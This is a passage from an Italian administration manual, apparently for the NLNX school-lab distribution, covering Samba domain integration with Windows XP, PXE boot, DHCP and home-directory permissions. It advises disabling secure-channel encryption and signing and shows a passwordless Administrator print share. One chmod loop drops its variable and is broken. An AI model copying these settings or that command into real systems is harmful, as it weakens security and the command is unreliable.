Nello stesso modo, l'insegnante Dicembrino predispone un file, denominato 'modello' e lo mette nella propria directory '~/strumenti/5CI1011/', perché gli studenti della classe 5Ci (dell'anno scolastico 2010/2011) possano utilizzarlo. Per converso, lo studente Rossi trova nella propria directory '~/strumenti/dicembrinosempr/' il file 'modello' predisposto dall'insegnante.

[1] In pratica, se nel proprio elaboratore si configura una coda di stampa diretta a un elaboratore remoto, è necessario che tale coda sia accessibile solo ai processi elaborativi locali, altrimenti, pur non disponendo di una stampante locale, altri elaboratori potrebbero contattare la propria coda e inviare, in pratica, stampe a quell'elaboratore remoto.

Capitolo 55

Integrazione con MS-Windows

55.1 Estendere il controllo delle utenze alla rete MS-Windows 3041
55.1.1 Situazione di esempio 3041
55.1.2 Profili personali 3043
55.1.3 Script di avvio 3044
55.1.4 Utenze per gli elaboratori MS-Windows 3044
55.1.5 Configurazione di MS-Windows XP Professional: disabilitazione della connessione cifrata 3045
55.1.6 Configurazione di MS-Windows XP Professional: associazione al dominio 3047
55.1.7 Spegnimento del servente NLNX 3049
55.1.8 Servente WINS 3050
55.2 Installazione indolore di NLNX in una rete di elaboratori MS-Windows 3050
55.2.1 Sequenza di avvio 3051
55.2.2 File system principale attraverso la rete 3051
55.2.3 Configurazione del DHCP 3051
55.2.4 Configurazione dell'avvio 3052
55.3 Riferimenti 3053

55.1 Estendere il controllo delle utenze alla rete MS-Windows

Attraverso Samba, NLNX può offrire, da elaboratori con sistema MS-Windows, la gestione delle cartelle personali. Oltre a questo, è possibile attivare la gestione delle utenze, in modo tale che anche dagli elaboratori MS-Windows sia richiesto di accedere specificando il nominativo utente e la parola d'ordine, come per gli altri elaboratori con NLNX. Per coordinare questa funzione occorre modificare manualmente la configurazione di Samba e provvedere alla creazione di alcuni utenti speciali.

55.1.1 Situazione di esempio

Per comprendere il meccanismo è necessario partire da un esempio, nel quale si ipotizza di disporre di una rete locale, unica sul piano fisico e anche sul piano logico, nel senso che gli indirizzi IPv4 devono essere tali da non richiedere il passaggio attraverso dei router.

Figura 55.1. Situazione di esempio, in cui si evidenziano tre persone con ruoli di amministrazione.

Nella figura si vede Mario Rossi che è il responsabile e l'amministratore del servente NLNX, oltre che di altri elaboratori clienti (sempre NLNX). Mario Rossi ha l'utenza amministrativa '**`root`**', oltre a una seconda utenza amministrativa, denominata '**`rossi`**', meno importante. Antonio Bianchi amministra il gruppo di lavoro '**`INF2`**' e ha un'utenza amministrativa, presso il servente NLNX, denominata '**`bianchi`**'; Giuseppe Verdi amministra il gruppo di lavoro '**`INF3`**' e ha un'utenza amministrativa, presso il servente NLNX, denominata '**`verdi`**' (queste utenze amministrative sono state create con il comando '**`nlnxrc admin add`**'). Questi tre utenti, presso il servente NLNX, hanno anche delle utenze «normali», al pari di tutti gli altri utenti della rete.

La configurazione di Samba che si propone in questo contesto, contenuta nel file '`/etc/smb.conf`' presso il servente NLNX, è quella nel listato successivo, dove sono evidenziate le voci salienti:

```
[global]
    server string = NLNX server
    workgroup = NLNX
    netbios name = nlnx00
    local master = yes
    domain master = yes
    preferred master = yes
    os level = 33
    domain logons = yes
    logon path = \\%L\profiles\%u
    wins support = yes
    time server = yes
    security = user
    hostname lookups = no
    hosts allow = 127.0.0.0/8 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16
    dns proxy = no
    log file = /var/log/samba/log.%m
    max log size = 1000
    log level = 3
```

```
    encrypt passwords = yes
    smb passwd file = /etc/samba/smbpasswd
    passdb backend = smbpasswd:/etc/samba/smbpasswd
    invalid users = root user admin0 admin1 admin2 admin3 admin4 ↩
↪admin5 admin6 admin6 admin7 admin8 admin9 nobody daemon bin sys ↩
↪sync games man lp mail news uucp proxy dip postgres www-data ↩
↪backup msql operator list irc gnats ftp sshd clamav bind saned ↩
↪dansguardian partimag wims fetchmail messagebus Debian-console-log
    socket options = TCP_NODELAY
    hide files = /Desktop/Mail/mail/dosemu/
    unix password sync = yes
    passwd program = /usr/bin/passwd %u
    pam password change = yes

[homes]
    comment = home directories
    browseable = no
    writable = yes
    create mask = 0755
    directory mask = 0755

[netlogon]
   path = /home/.samba/netlogon
   writeable = no
   browseable = no
   guest ok = yes

[profiles]
   path = /home/.samba/profiles
   browseable = no
   writeable = yes
   create mask = 0600
   directory mask = 0700
```

55.1.2 Profili personali

In base alla configurazione proposta, si determina che i profili personali, definiti dalla direttiva '**`logon path`**', vengono collocati nel percorso '`\\`***servente_smb***`\profiles\`***utente***'.[1] In pratica, in questo modo si rimanda alla sezione '**`profiles`**', in cui si fa riferimento alla directory '`/home/.samba/profiles/`'. Pertanto, l'utente '**`tizio`**', si troverebbe ad avere i propri profili nella directory '`/home/.samba/profiles/tizio/`'.

Per garantire che tutto funzioni correttamente, il comando '**`nlnxrc user add`**' provvede a creare tale directory vuota, assegnandone la proprietà all'utente relativo. Nello stesso modo, la cancellazione di un utente con il comando '**`nlnxrc user del`**', provvede anche a cancellare tale directory.

55.1.3 Script di avvio

Nella configurazione proposta per Samba, appare la sezione '**netlogon**', con la quale si dichiara una directory, dove, eventualmente, si può collocare lo script da eseguire al collegamento di un utente. In tal caso, nella sezione '**global**' va aggiunta la direttiva '**logon script**':

```
[global]
    …
    logon script = logon.bat
    …
```

Secondo questo esempio, si tratta di predisporre il file '`logon.bat`' e collocarlo nella directory '`/home/.samba/netlogon/`'. Deve trattarsi di un file di testo, con i codici di interruzione di riga adatti al Dos. Eventualmente si può usare un programma come '**unix2dos**'.

55.1.4 Utenze per gli elaboratori MS-Windows

Gli elaboratori MS-Windows vanno aggiunti agli utenti Unix e Samba, utilizzando il nome predisposto per il protocollo NetBIOS. Nella figura dell'esempio si ipotizza di avere usato nomi del tipo '**PC01**', '**PC02**', '**PC03**',... Lì, in particolare, viene evidenziato l'elaboratore '**PC07**'.

Queste utenze particolari vanno aggiunte utilizzando soltanto lettere minuscole (pertanto, '**PC07**' diventa '**pc07**'), facendo in modo che nei file '`/etc/passwd`' e '`/etc/samba/smbpasswd`' appaiano conclusi con un dollaro (pertanto il nome '**PC07**' viene archiviato, in realtà, come '**pc07$**'). Questo lavoro viene svolto dallo script '**nlnxrc**', in modo da evitare errori:

`#` **`nlnxrc machine add`** [*Invio*]

```
.--Add a new Win machine-----.
| Please insert the new Win  |
| machine name:              |
| .------------------------. |
| |                        | |
| '------------------------' |
|----------------------------|
|   <  OK    >    <Cancel>   |
'----------------------------'
```

pc07 [OK]

```
.Full Win machine description--.
| Please insert the machine    |
| full description.            |
| .--------------------------. |
| |                          | |
| '--------------------------' |
|------------------------------|
|   <  OK    >    <Cancel>     |
'------------------------------'
```

Laboratorio informatica 3 [OK]

La creazione di queste utenze coincide con la creazione di altrettante directory vuote a partire dalla gerarchia '/home/.samba/machines/'. Tali directory non hanno alcuna utilità particolare, ma vengono prodotte ugualmente per esigenze che potrebbero manifestarsi in futuro.

Eventualmente, sempre con '**nlnxrc**' potrebbero essere eliminate tali utenze speciali:

```
# nlnxrc machine del pc07 [Invio]
```

Naturalmente, oltre a Mario Rossi, Antonio Bianchi e Giuseppe Verdi trovano la funzione di aggiunta di un elaboratore MS-Windows quando accedono al servente NLNX con la loro utenza speciale, tra le voci del menù prodotto dallo script '**ADMIN9**'.

55.1.5 Configurazione di MS-Windows XP Professional: disabilitazione della connessione cifrata

Perché MS-Windows XP possa essere associato a un dominio gestito da Samba, è necessario disabilitare alcune opzioni relative all'uso della crittografia nella comunicazione per tale funzione. Si deve procedere attraverso le voci successive, ma in qualità di utente '**Administrator**', o equivalente:

- Pannello di controllo
  - Prestazioni e manutenzione (questa voce potrebbe essere saltata)
  - Strumenti di amministrazione
    - Criteri di protezione locali
      - Criteri locali
      - Opzioni di protezione
      - Membro di dominio: ...
        Membro di dominio: ...
        Membro di dominio: ...
        Membro di dominio: ...

Tutte le voci Membro di dominio vanno disattivate.

Figura 55.6. Pannello di controllo: selezione della voce Strumenti di amministrazione.

Figura 55.7. Strumenti di amministrazione: selezione della voce `Criteri di protezione locali`.

Strumenti di amministrazione

Criteri di protezione locali
Gestione computer
Prestazioni
Servizi

Figura 55.8. Impostazioni protezione locale: selezione della voce `Criteri locali`.

Impostazioni protezione locale

Criteri account
Criteri locali
Criteri chiave pubblica
Criteri restrizioni software

Figura 55.9. Opzioni di protezione: selezione della voce `Opzioni di protezione`.

Impostazioni protezione locale

Criteri controllo
Opzioni di protezione
...

Figura 55.10. Impostazioni protezione locale: disattivazione delle voci `Membro di dominio`.

Impostazioni protezione locale

...

Membro di dominio: aggiunta crittografia o firma digitale ai dati del canale protetto (quando possibile)	Attivato
Membro di dominio: aggiunta crittografia o firma digitale ai dati del canale protetto (sempre)	Attivato
Membro di dominio: aggiunta firma digitale ai dati del canale protetto (quando possibile)	Attivato
Membro di dominio: richiesta chiave di sessione avanzata (Windows 2000 o versioni successive)	Disattivato

...

Figura 55.11. Impostazioni protezione locale: risultato della disattivazione delle voci `Membro di dominio`.

Impostazioni protezione locale

...

Membro di dominio: aggiunta crittografia o firma digitale ai dati del canale protetto (quando possibile)	Disattivato
Membro di dominio: aggiunta crittografia o firma digitale ai dati del canale protetto (sempre)	Disattivato
Membro di dominio: aggiunta firma digitale ai dati del canale protetto (quando possibile)	Disattivato
Membro di dominio: richiesta chiave di sessione avanzata (Windows 2000 o versioni successive)	Disattivato

...

55.1.6 Configurazione di MS-Windows XP Professional: associazione al dominio

Inizialmente, MS-Windows XP si trova probabilmente a funzionare gestendo semplicemente i gruppi di lavoro. Per fare in modo di centralizzare le utenze occorre associarlo a un «dominio». Sulla base della configurazione proposta per Samba, il dominio in questione sarebbe denominato «NLNX», secondo la direttiva '**`workgroup`**':

```
[global]
    ...
    workgroup = NLNX
    ...
```

Presso l'elaboratore MS-Windows XP, con il nome '**`PC07`**', occorre procedere secondo i passi evidenziati dalle figure successive, ma occorre agire in qualità di utente '**`Administrator`**', o equivalente:

Figura 55.13. Pannello di controllo: selezione della voce `Sistema`.

Pannello di controllo

Schemo

Sistema

Stampanti e fax

Strumenti di amministrazione

Figura 55.14. Proprietà del sistema: cambiamento del nome o dell'associazione a un dominio.

Proprietà del sistema

generale | **nome computer** | hardware | avanzate

Descrizione computer

Nome completo computer: **PC07**

Gruppo di lavoro: **INF3**

Per rinominare un computer o aggiungerlo a un dominio, scegliere Cambia.

cambia

Figura 55.15. Cambiamenti nome computer: selezione del dominio e conferma.

Cambiamenti nome computer	Cambiamenti nome computer
Nome computer: PC07	Nome computer: PC07
Nome completo computer: PC07	Nome completo computer: PC07
Membro di	Membro di
○ Dominio:	◉ Dominio: NLNX
◉ Gruppo di lavoro: INF3	○ Gruppo di lavoro: INF3
annulla	ok annulla

Quando si vuole associare il dominio e confermare, viene richiesta l'indicazione di un'utenza «amministrativa», ovvero riconosciuta come tale presso il servente Samba. Ma attenzione: dal punto di vista di MS-Windows, queste utenze amministrative hanno il prefisso «win.»; pertanto, in base all'esempio, si tratta di '**`win.rossi`**', '**`win.bianchi`**' e '**`win.verdi`**'.

Figura 55.16. Richiesta di identificazione per l'utente amministrativo con cui ottenere l'aggiunta del dominio.

login:	win.rossi
password:	●●●●●●●●

Al termine viene richiesto di riavviare il sistema per poter rendere operative le modifiche. Al riavvio può essere scelto se utilizzare le utenze locali preesistenti o il dominio appena collegato.

55.1.7 Spegnimento del servente NLNX

Se l'elaboratore che svolge il ruolo di servente NLNX deve essere spento, è ragionevole attendersi che gli elaboratori MS-Windows, se usati durante tale inattività del servente NLNX, non siano in grado di accedere al dominio relativo. Tuttavia, per utilizzare gli elaboratori MS-Windows viene richiesto ugualmente il riconoscimento, almeno in qualità di utente locale.

55.1.8 Servente WINS

Nella configurazione di Samba, mostrata come esempio, appare la direttiva '**`wins support = yes`**', con la quale si ottiene di fornire anche il servizio WINS per gli elaboratori MS-Windows. Tali elaboratori, per potersene avvalere, devono essere configurati al riguardo; tuttavia, va considerato che in tal modo, il servente NLNX non può più essere spento, almeno fino a quando ci sono elaboratori che hanno bisogno di quel servizio.

55.2 Installazione indolore di NLNX in una rete di elaboratori MS-Windows

Nelle sezioni successive si vuole dimostrare come si possa utilizzare NLNX in un contesto provvisto di una rete fisica adeguata, in cui sia possibile disporre di almeno un servente NLNX e ci siano molti altri elaboratori organizzati con sistemi operativi differenti (presumibilmente MS-Windows).

A titolo di esempio si propone inizialmente una situazione come quella descritta nella figura successiva, dove la rete fisica è unica e gli elaboratori sono divisi eventualmente in reti logiche. Il servente NLNX è l'unico che offra il servizio DHCP su tutta la rete fisica, inoltre, in condizioni normali, tale servente è utilizzato da un gruppo di elaboratori clienti NLNX. Naturalmente, il servente NLNX viene usato per tutti i servizi previsti da questa distribuzione; in particolare l'amministrazione delle utenze (NIS), la condivisione delle directory personali (cartelle personali) attraverso il protocollo NFS, SMB (Samba) ed eventualmente SSH, l'attribuzione automatica degli indirizzi IPv4 e l'indicazioni di altre informazioni con il DHCP, l'avvio remoto attraverso PXELINUX e il protocollo TFTP.

Figura 55.17. Situazione iniziale in cui gli elaboratori con indirizzi 172.21.1.* funzionano con NLNX e si avvalgono di un servente, il quale, tra l'altro, fornisce i servizi NFS, NIS, DHCP, TFTP e l'avvio remoto tramite PXELINUX.

Win Win Win Win Win

172.21.2.7
`\\WINsrv1\stampante`

172.21.2.1 ... 172.21.2.254

NLNX NLNX NLNX NLNX

NFS NIS DHCP
TFTP PXELINUX

172.21.1.1 ... 172.21.1.254

55.2.1 Sequenza di avvio

Presso gli elaboratori che ospitano presumibilmente un sistema MS-Windows occorre riconfigurare il BIOS in modo da consentire l'avvio attraverso la rete (questa possibilità è ammissibile solo se l'interfaccia di rete è incorporata nella scheda madre), quindi occorre far sì che l'avvio dalla rete sia tentato prima delle altre possibilità. In tal modo, gli elaboratori in questione, all'accensione, andrebbero sempre a interpellare PXELINUX presso il servente NLNX.

Per NLNX, la configurazione standard di PXELINUX prevede che la voce di avvio predefinita consista nel richiamare l'avvio del disco fisso locale. Pertanto, se dopo alcuni secondi non si fa nulla, gli elaboratori configurati per avviarsi dalla rete si troverebbero ad avviare il sistema operativo locale, senza altre conseguenze.

Si osservi che in questo modo si evita di dover installare localmente, su tali elaboratori, un sistema di avvio che consenta di scegliere tra i vari sistemi che potrebbero convivere nel disco fisso locale. In altri termini, si evita di mettere a disagio il sistema operativo usato normalmente presso di loro.

55.2.2 File system principale attraverso la rete

Il modo meno problematico di usare NLNX consiste nell'avviarlo dalla rete, condividendo il file '`nlnx.img`' attraverso il protocollo NFS, ma in sola lettura, come descritto nella sezione 52.2. In pratica, presso il servente si colloca questo file nella directory '`/opt/nlnx/`' e ci si assicura che il protocollo NFS lo renda disponibile a tutti, in sola lettura, senza modificare i privilegi dell'utente con UID 0.

55.2.3 Configurazione del DHCP

Presso il servente NLNX va organizzato il servizio DHCP associando correttamente gli indirizzi fisici delle interfacce di rete agli indirizzi IPv4 utilizzati nella rete locale. Per esempio potrebbe trattarsi di un elenco simile a quello seguente:

```
...
172.21.1.1 00:D0:41:01:1C:F4
172.21.1.2 00:D0:41:01:1C:F5
172.21.1.3 00:D0:41:01:1C:F6
172.21.1.4 00:D0:41:01:1C:F7
...
172.21.2.1 00:D0:41:01:1B:F7
172.21.2.2 00:D0:41:01:1B:F8
172.21.2.3 00:D0:41:01:1B:F9
172.21.2.4 00:D0:41:01:1B:FA
...
```

Per scoprire gli indirizzi fisici degli elaboratori, quando questi sono in funzione è sufficiente eseguire un «ping» e osservare poi la tabella ottenuta dal comando '**`arp`**':

$ **`ping 172.21.2.1`** [*Invio*]

...

[*Ctrl c*]

$ **arp** [*Invio*]

```
Address            HWtype  HWaddress          Flags Mask    Iface
…
172.21.2.1         ether   00:D0:41:01:1B:F7  C             eth0
…
```

55.2.4 Configurazione dell'avvio

Una volta predisposta la configurazione dell'avvio nel BIOS degli elaboratori ospitanti e dopo aver copiato i file-immagine di NLNX, conviene aggiungere nel servente NLNX una voce di avvio personalizzata. Si tratta di intervenire nel file '`/var/lib/tftpboot/pxelinux/pxelinux.cfg/default`'.

Gli elaboratori ospitanti potrebbero richiedere il caricamento esplicito di alcuni moduli, inoltre potrebbe essere necessario definire una configurazione particolare della grafica; infine, potrebbe essere il caso di indirizzare la stampa verso una stampante di rete più vicina rispetto a quella indicata automaticamente dal servizio DHCP del servente NLNX. Ecco un esempio di questa voce aggiuntiva, ipotizzando che la stampante in questione richieda un filtro adatto al tipo «laserjet»:

```
…
label guest
  kernel vmlinuz
  append n_boot=auto root=/dev/ram0 ro init=/linuxrc ↩
↪       initrd=nlnxrd.img ramdisk_size=30720 n_setupdelay=8 ↩
↪       n_modules=atl1:r8169:ehci_hcd:uhci_hcd ↩
↪       n_xorg_conf=radeon,,,, ↩
↪       n_smb_prn_server=//winsrv1/stampante n_lpr_filter=laserjet
…
```

Lo stesso esempio, utilizzando direttamente l'indirizzo IPv4:

```
…
label guest
  kernel vmlinuz
  append n_boot=auto root=/dev/ram0 ro init=/linuxrc ↩
↪       initrd=nlnxrd.img ramdisk_size=30720 n_setupdelay=8 ↩
↪       n_modules=atl1:r8169:ehci_hcd:uhci_hcd ↩
↪       n_xorg_conf=radeon,,,, ↩
↪       n_smb_prn_server=//172.21.2.7/stampante n_lpr_filter=laserjet
…
```

In tal caso, per avviare il sistema NLNX ospitato andrebbe inserito il nome «guest» all'avvio.

Se invece si opta per l'installazione del file-immagine '`nlnx.img`' nel solo elaboratore servente, va sostituita l'opzione '**`n_boot=auto`**' con '**`n_boot=net`**'.

Figura 55.22. Situazione percepita durante il funzionamento di NLNX, avviato presso gli elaboratori che normalmente eseguono un sistema MS-Windows.

Win NLNX NLNX NLNX NLNX
172.21.2.7
\\WINsrv1\stampante
172.21.2.1 ... 172.21.2.254

NLNX NLNX NLNX NLNX
NFS NIS DHCP
TFTP PXELINUX
172.21.1.1 ... 172.21.1.254

È bene osservare il problema delle utenze associato alla stampa verso una stampante condivisa: se l'elaboratore con il sistema MS-Windows che offre la condivisione è stato configurato con la gestione delle utenze personali, come descritto nella sezione 52.2, la stampa avviene solo se si fornisce un nominativo utente e una parola d'ordine valida. A questo proposito vanno usate le opzioni '**`n_smb_prn_user`**' e '**`n_smb_prn_passwd`**'. Supponendo che l'elaboratore 172.21.2.7 dell'esempio fornisca la stampante in condivisione in qualità di utente amministratore ('**`Administrator`**') e che tale utente non abbia alcuna parola d'ordine, la configurazione di avvio diventa:

```
…
label guest
  kernel vmlinuz
  append … n_smb_prn_server=//172.21.2.7/stampante n_lpr_filter=laserjet↩
↪        n_smb_prn_user=root
…
```

Pertanto, si scrive '**`n_smb_prn_user=root`**' e si intende '**`Administrator`**'.

55.3 Riferimenti

- Fulvio Ferroni, *Samba e OpenLDAP*

  ⟨*http://linuxdidattica.org/docs/altre_scuole/planck/samba/*⟩

- By Jay Ts, Robert Eckstein, David Collier-Brown, *Using Samba, 2nd Edition*, 2003, O'Reilly & Associates, ISBN: 0-596-00256-4

  ⟨*http://www.faqs.org/docs/samba/toc.html*⟩

- Jelmer R. Vernooij, John H. Terpstra, Gerald (Jerry) Carter, *The official Samba 3.2.x HOWTO and reference guide*, 2008

  ⟨*http://www.samba.org/samba/docs/man/Samba-HOWTO-Collection/*⟩

  ⟨*http://us1.samba.org/samba/docs/Samba3-HOWTO.pdf*⟩

[1] La direttiva '**`logon path`**' riguarda MS-Windows NT/2000/XP.

Capitolo 56

Gestione avanzata

56.1 Problemi di NLNX e soluzioni 3056

56.1.1 Directory personale in un disco esterno 3056
56.1.2 Utenze generiche 3057
56.1.3 Messaggi di errore 3057
56.1.4 Programmi «duri a morire» 3058
56.1.5 Studenti troppo furbi 3058
56.1.6 Vincolare gli utenti a un certo gruppo di postazioni 3059

56.2 Adattamento di NLNX 3059

56.2.1 Gerarchia doppia 3059
56.2.2 Creazione di una nuova versione 3060
56.2.3 Configurazione predefinita di NLNX 3061
56.2.4 Aggiornamento dei pacchetti installati 3062
56.2.5 Kernel 3062

56.3 Organizzazione del laboratorio GNU/Linux 3063

56.3.1 Accensione e spegnimento 3064
56.3.2 Procedura per l'aggiunta di un utente 3065
56.3.3 Controllo dei servizi 3070
56.3.4 Controllo del numero massimo di pagine stampabili per volta 3071
56.3.5 Utilizzo di elaboratori estranei al laboratorio 3071

56.4 Utilizzo del laboratorio GNU/Linux 3072

56.4.1 Avvio e arresto degli elaboratori del laboratorio 3073
56.4.2 Utenze 3073
56.4.3 Registri 3074
56.4.4 Console e utilizzo di applicazioni grafiche 3074
56.4.5 Stampa 3075
56.4.6 Accesso a Internet 3075
56.4.7 Licenze 3075

56.5 Organizzazione dei laboratori MS-Windows 3080

56.5.1 Procedura per l'aggiunta di un utente 3082
56.5.2 Procedura per la modifica di una parola d'ordine 3087
56.5.3 Controllo dell'accesso all'esterno 3089
56.5.4 Configurazione di MS-Windows XP Professional per utilizzare le utenze centralizzate 3090
56.5.5 Configurazione per poter utilizzare anche un sistema GNU/Linux 3093

56.5.6 Eliminazione delle utenze 3093
56.6 Utilizzo dei laboratori MS-Windows 3094
56.6.1 Premessa 3094
56.6.2 Autenticazione 3095
56.6.3 Accesso manuale ai dati personali da una postazione MS-Windows anonima 3095
56.6.4 Scambio di dati tra insegnanti e studenti 3097
56.6.5 Avvio di un sistema GNU/Linux 3097
56.6.6 Registri elettronici 3098

56.1 Problemi di NLNX e soluzioni

NLNX è organizzato secondo una struttura particolare. In questo capitolo si raccolgono osservazioni e suggerimenti che non hanno trovato spazio in altre sezioni relative a NLNX.

56.1.1 Directory personale in un disco esterno

Utilizzando NLNX avviato da un disco ottico *live*, può essere comodo gestire i propri dati personali utilizzando una memoria esterna, come un'unità USB a disco o allo stato solido. Per fare questo basta preoccuparsi di innestare il disco e probabilmente conviene decidere di usare uno degli utenti comuni stabiliti, sistemando di conseguenza la proprietà della directory radice dell'unità esterna:

fdisk /dev/sda [*Invio*]

...

mkfs.ext3 /dev/sda1 [*Invio*]

mount /mnt/sda1 [*Invio*]

chown tizio:tizio /mnt/sda1 [*Invio*]

umount /mnt/sda1 [*Invio*]

I passaggi mostrati abbreviano e semplificano la procedura per creare una partizione (la prima) in un disco USB o in una memoria solida USB, facendo in modo che l'utente '**tizio**' la possa utilizzare come vuole.

Così facendo, utilizzando l'utenza '**tizio**' si possono salvare dati in questo disco, purché prima venga innestato. Tuttavia, rimanendo a questo livello di utilizzo, manca la possibilità di modificare in modo duraturo la configurazione personale dell'utente, perché i dati contenuti nella directory personale vanno perduti. Per risolvere questo problema, si può fare in modo di copiare la struttura iniziale della directory personale dell'utente '**tizio**' nel disco esterno, avendo cura ogni volta di innestarlo nel modo giusto:

mount /mnt/sda1 [*Invio*]

cp -dpRv /home/tizio /mnt/sda1 [*Invio*]

umount /mnt/sda1 [*Invio*]

Eventualmente si può decidere di gestire in maniera diversa il disco esterno, per esempio inserendo il contenuto dei dati personali dell'utente in una sottodirectory, ma il procedimento non cambia; quando si vuole usare quella directory personale occorre prima agire come utente '**root**' seguendo lo schema seguente:

mount /mnt/sda1 [*Invio*]

mount --bind /mnt/sda1 /home/tizio [*Invio*]

Quindi ci si può identificare come utente '**tizio**'. Se la directory personale dell'utente si trovasse invece, per esempio, nella sottodirectory 'mia/directory/personale/' nel disco esterno, basterebbe cambiare il collegamento finale nel modo seguente:

mount --bind /mnt/sda1/mia/directory/personale /home/tizio [*Invio*]

56.1.2 Utenze generiche

Quando si installa NLNX in modo che utilizzi il file system in lettura e scrittura, le utenze generiche costituite dai nomi '**tizio**', '**caio**' e gli altri, vengono disabilitate, nel senso che viene tolta la parola d'ordine, ma per il resto sono intatte.

Naturalmente ci possono essere situazioni in cui gli utenti generici predefiniti sono totalmente inutili. In questi casi conviene provvedere manualmente alla loro eliminazione, soprattutto per ciò che riguarda le directory personali. Tuttavia, se si tratta di una copia di NLNX installata per poter generare successivamente un DVD «live», conviene lasciare le voci di questi utenti nei file '/etc/passwd' e '/etc/group', per evitare che l'installazione di un programma che richiede la creazione di un utente fittizio vada a utilizzare proprio i numeri UID e GID che sono previsti invece per gli utenti '**tizio**' e gli altri. Dovendo mantenere questi utenti nei file '/etc/passwd' e '/etc/group' si può assegnare al posto della shell comune il file '/bin/false'.

Se si lasciano le directory personali degli utenti generici predefiniti, in un elaboratore che offre le directory personali attraverso il protocollo NFS, se questo servizio viene utilizzato tramite DVD, dal momento che lì tali utenze sono attive, è possibile salvare i file attraverso NFS. Si osservi che è sufficiente il protocollo NFS, perché le utenze generiche predefinite hanno numeri UID al di sotto del livello minimo previsto per la gestione attraverso il NIS (in base alla configurazione che prevede come UID minimo il numero 1000). Se questo avviene in un laboratorio didattico, significa che gli studenti possono scambiare file tra di loro, perché, per esempio, chiunque può diventare '**tizio**'.

56.1.3 Messaggi di errore

Durante il funzionamento in modalità grafica, viene mostrato normalmente un riquadro contenente i messaggi generati dai programmi. Questi messaggi comprendono quanto emesso dallo standard output e dallo standard error. Tra i messaggi appaiono anche quelli generati dal gestore di finestre e in particolare sarebbe molto frequente il messaggio seguente:

```
[FVWM][get_menu_options]: <<ERROR>> invalid rectangle geometry
```

Questa segnalazione in particolare sembra essere generata erroneamente, per un problema che in realtà non sussiste. Dal momento che questo messaggio in particolare verrebbe emesso ogni volta che si apre il menù, dando così un fastidio inutile, il comando che mostra il riquadro dei messaggi fa in modo che non appaia.

56.1.4 Programmi «duri a morire»

Durante il funzionamento in modalità grafica, può capitare di avviare dei programmi che poi, non vogliono saperne di terminare il loro funzionamento quando la sessione grafica viene conclusa. Questo tipo di inconveniente si è manifestato, in modo particolare, con il programma '**alsamixergui**', che per questa ragione non viene più installato. Per lo stesso motivo, non sono disponibili funzioni per generare sfondi dinamici.

56.1.5 Studenti troppo furbi

NLNX è organizzato in modo particolare per l'uso in un laboratorio didattico, per studenti della scuola media superiore. Di norma, un esercizio o un compito richiede che ognuno lavori utilizzando i propri dati, senza poter accedere alle directory personali degli altri utenti (soprattutto in considerazione del fatto che si presume i dati personali siano centralizzati e condivisi nella rete locale).

Per rendere più complicata la condivisione indesiderata dei dati, alla creazione delle utenze, la proprietà della directory personale (solo la directory, non il contenuto) viene attribuita a '**root**', lasciando il gruppo associato correttamente all'utente per il quale esiste tale directory. Ciò comporta che l'utente non possa cambiare i permessi stabiliti per tale directory. Naturalmente, gli utenti hanno un proprio gruppo privati e al proprio gruppo sono concesse tutte le operazioni sulla directory. Ma oltre a questo viene attivato il bit Sticky (*Save text image*), in modo che possano essere rimossi solo i file che appartengono a chi chiede di rimuoverli.

I permessi iniziali consentono anche agli altri utenti di accedere (il permesso di «esecuzione», ovvero di attraversamento), allo scopo di rendere possibile l'interscambio di file tra studenti e docenti, oppure per consentire la pubblicazione di file nella directory '`~/public_html/`'. Eventualmente, per impedire che gli studenti possano pubblicare dei file utilizzando la directory '`~/public_html/`', questa può essere creata in modo che appartenga all'amministratore, togliendo tutti i permessi di accesso e di lettura: gli studenti non possono così cancellarla e ricrearla con permessi differenti.

Tuttavia, dal momento che, se gli studenti conoscono i nomi dei file possono ugualmente condividerli, si può applicare una politica più rigida, togliendo anche il permesso di accesso alla directory personale. A titolo di esempio, supponendo di voler limitare gli accessi a un'ipotetica classe 5A dell'anno scolastico 2010/2011, ammesso di avere organizzato correttamente la struttura delle directory personali, si potrebbe procedere così:

`#` **`cd /home/5A1011`** [*Invio*]

`#` **`for s in * ; do chmod 1770 ; done`** [*Invio*]

In tal caso, però, lo script fornito come esempio per facilitare lo scambio di dati tra studenti e docenti non funzionerebbe più e andrebbe riscritto copiando materialmente i file.

56.1.6 Vincolare gli utenti a un certo gruppo di postazioni

Se gli elaboratori a cui gli utenti possono accedere sono tutti dotati di un sistema NLNX, è possibile imporre l'uso di certe postazioni, rispetto ad altre, ad alcuni utenti. Questa funzionalità non è guidata attraverso lo script '**`nlnxrc`**' e richiede un po' di lavoro.

Ogni elaboratore a cui si vuole sottoporre questo controllo deve contenere il file di testo '`/etc/nlnx/TTY_LOGIN_AT`', con l'elenco degli utenti da limitare, dove sono ammesse solo direttive che si compongono secondo il modello seguente:

utente indirizzo_ipv4 [***indirizzo_ipv4***]

In pratica, prima si mette il nome dell'utente, quindi, separandoli con degli spazi, gli indirizzi da cui si possono connettere. Si osservi l'esempio seguente:

```
tizio 172.17.1.23 172.17.1.25
caio 172.17.1.15
```

In questo caso, ciò che è scritto nel file indica che l'utente '**`tizio`**' è ammesso ad accedere da 172.17.1.23, oppure 172.17.1.25, mentre l'utente '**`caio`**' solo da 172.17.1.15. Perché il controllo sia efficace, è necessario che questo file sia copiato tale e quale in tutti gli elaboratori. Tuttavia, quando il sistema viene avviato dalla rete, ciò non è possibile, pertanto in quel caso, il file può essere collocato nella directory '`/opt/nlnx/configuration/default/`'

56.2 Adattamento di NLNX

Una volta installato NLNX, è possibile aggiungere o eliminare dei pacchetti applicativi secondo la procedura prevista dalla distribuzione GNU/Linux Debian. In condizioni normali, è sufficiente il comando '**`nlnxrc nlnx make`**' per riprodurre il tutto in un nuovo DVD.

Alle volte potrebbe essere necessario un adattamento più consistente e a tale scopo possono servire le note di questo capitolo.

56.2.1 Gerarchia doppia

Quando NLNX è installato nel disco fisso secondo la procedura normale, oltre alla struttura comune di file e directory, appare la directory '`/RO-FS/`', all'interno della quale, tra le altre cose, appare anche la directory '`RW-FS/`' (in pratica '`/RO-FS/RW-FS/`').

La directory '`/RO-FS/`' rappresenta la radice del DVD *live* che si va a creare, mentre la directory '`/RO-FS/RW-FS/`' deve innestare nuovamente la struttura installata nel disco fisso; pertanto, nel file '`/etc/fstab`' devono apparire due righe simili a quelle seguenti:

```
/dev/hda2  /             auto  defaults,errors=remount-ro   0   1
/dev/hda2  /RO-FS/RW-FS  auto  defaults,noauto              0   0
```

In questo caso la seconda riga non prevede un innesto automatico all'avvio, ma a ciò provvede comunque '**`nlnxrc nlnx make`**'.

